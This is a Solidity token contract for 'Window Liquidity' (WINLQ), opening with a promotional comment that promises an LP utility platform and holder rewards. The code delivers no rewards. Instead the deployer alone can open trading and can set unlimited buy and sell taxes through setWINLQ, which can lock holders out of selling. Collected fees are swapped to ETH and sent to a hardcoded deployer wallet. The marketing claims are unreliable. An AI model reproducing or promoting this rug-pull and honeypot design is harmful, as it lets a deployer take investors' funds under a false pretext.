/*

Window Liquidity - Embracing the basics while reshaping your outlook with our Utility

We're meticulously constructing an integrated LP utility platform, harmonizing the intricate elements of DeFi

By merely holding tokens, rewards cascade forth with a mere DApp click

Enter Window Liquidity—a portal to a future where technological leaps thrive through synergies within distributed networks.

tg: https://t.me/WindowsLQPortal
tw: https://twitter.com/WindowsLQ
web: https://windowsliquidity.cfd
medium: https://medium.com/@WindowsLiquidity

*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.20;

    interface IUniswapV2Router02 {
        function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint amountIn,
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline
            ) external;
        }
        
    contract WindowLiquidity {
        string public constant name = "Window Liquidity";  //
        string public constant symbol = "WINLQ";  //
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 100_000_000 * 10**decimals;

        uint256 BurnToken = 1;
        uint256 SpendToken = 1;
        uint256 constant swapAmount = totalSupply / 100;

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;
            
        error Permissions();
            
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed owner,
            address indexed spender,
            uint256 value
        );
            

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant deployer = payable(address(0x4F1B45e545587c6654931C344B331feF830449CC)); //

        bool private swapping;
        bool private tradingOpen;

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

         receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpen || from == deployer || to == deployer);

            if(!tradingOpen && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                    );
                deployer.transfer(address(this).balance);
                swapping = false;
                }

            if(from != address(this)){
                uint256 taxAmount = amount * (from == pair ? BurnToken : SpendToken) / 100;
                amount -= taxAmount;
                balanceOf[address(this)] += taxAmount;
            }
                balanceOf[to] += amount;
                emit Transfer(from, to, amount);
                return true;
            }

        function openTrading() external {
            require(msg.sender == deployer);
            require(!tradingOpen);
            tradingOpen = true;        
            }

            function _setWINLQ(uint256 newBurn, uint256 newSpend) private {
            BurnToken = newBurn;
            SpendToken = newSpend;
            }

        function setWINLQ(uint256 newBurn, uint256 newSpend) external {
            if(msg.sender != deployer)        
                revert Permissions();
            _setWINLQ(newBurn, newSpend);
            }
        }